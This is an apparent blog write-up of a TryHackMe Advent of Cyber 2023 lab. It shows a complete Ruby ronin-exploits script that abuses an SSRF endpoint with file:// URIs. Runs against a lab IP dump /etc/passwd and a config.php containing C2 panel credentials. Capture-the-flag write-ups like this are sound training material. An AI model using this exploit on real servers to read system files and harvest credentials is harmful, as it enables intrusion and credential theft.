This year I decided to try using Ronin to solve the [Advent of Cyber 2023] challenges. Let’s see how far I can get.

We made it to Day 22 of Advent of Cyber 2023. This challenge involves exploiting a super simple Server Side Request Forgery (SSRF) vulnerability. While most SSRF vulnerabilities allow sending HTTP requests to internal web servers, the instructions hint that you can also send file:// URIs and request local files. You could solve this challenge only using curl, but I decided to use ronin-exploits to write a SSRF exploit that requests a local file.

First we will use the ronin-exploits new command to generate a new web exploit. We will also enable the Loot mixin to store the requested files.

$ ronin-exploits new --type web --loot jingle_bells_ssrf.rb
	erb	exploit.rb.erb	jingle_bells_ssrf.rb
	chmod	jingle_bells_ssrf.rb

Testing the vulnerable /getClientData.php HTTP end-point shows that local files requested with file:// are returned in the HTTP response body. Requesting a file that does not exist on the system will result in a HTTP 200 response, but with an empty response body. To send the HTTP request, we will use the http_get helper method, which accepts a path and additional query params, sends a HTTP GET request, and returns the HTTP response object. We will also need to define a file param for the local file we wish to request via file:// SSRF. Since this is a super simple SSRF exploit, we will only need to fill in the launch method.

#!/usr/bin/env -S ronin-exploits run -f

require 'ronin/exploits/web'
require 'ronin/exploits/mixins/loot'

module Ronin
  module Exploits
    class JingleBellsSSRF < Web

      include Mixins::Loot

      register 'jingle_bells_ssrf'

      quality :poc
      release_date '2023-12-22'

      author "Postmodern", email: "postmodern.mod3@gmail.com"
      summary "Advent of Cyber 2023 Day 22"
      description <<~DESC
        A Basic SSRF exploit for Advent of Cyber 2023 Day 22 aka
        "Jingle Your SSRF Bells: A Merry Command & Control Hackventure".
      DESC
      references [
        "https://tryhackme.com/room/adventofcyber2023"
      ]

      param :file, required: true,
                   desc:     'The path of the local file to request'

      def launch
        file_uri = "file://#{params[:file]}"
        response = http_get('/getClientData.php', query_params: {url: file_uri})

        if response.code == '200' && !response.body.empty?
          print_success "Got the file!"

          loot.add(params[:file],response.body)
        else
          fail("Failed to request the file: #{params[:file]}")
        end
      end

    end
  end
end

Now that our exploit is written, let’s run it!

$ ./jingle_bells_ssrf.rb -p base_url=http://10.10.108.219 -p file=/etc/passwd
>>> Running exploit jingle_bells_ssrf ...
[+] Got the file!
>>> Exploit found the following loot:

  /etc/passwd:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false

We have successfully exploited the SSRF vulnerability and achieved local file read access. The challenge instructions hints that we should try requesting config.php from the /var/www/html/ directory, which may contain the C2 panel’s credentials.

$ ./jingle_bells_ssrf.rb -p base_url=http://10.10.108.219 -p file=/var/www/html/config.php
>>> Running exploit jingle_bells_ssrf ...
[+] Got the file!
>>> Exploit found the following loot:

  /var/www/html/config.php:

    <?php
    $username = "mcgreedy";
    $password = "mcgreedy!@#$%";
    
    ?>

Jack pot!

As you can see, ronin-exploits makes it easy to write SSRF exploits and exfiltrate files.

If Ronin interests you or you like the work we do, consider donating to Ronin on GitHub, Patreon, or Open Collective so we can continue building high-quality free and Open Source security tools and Ruby libraries.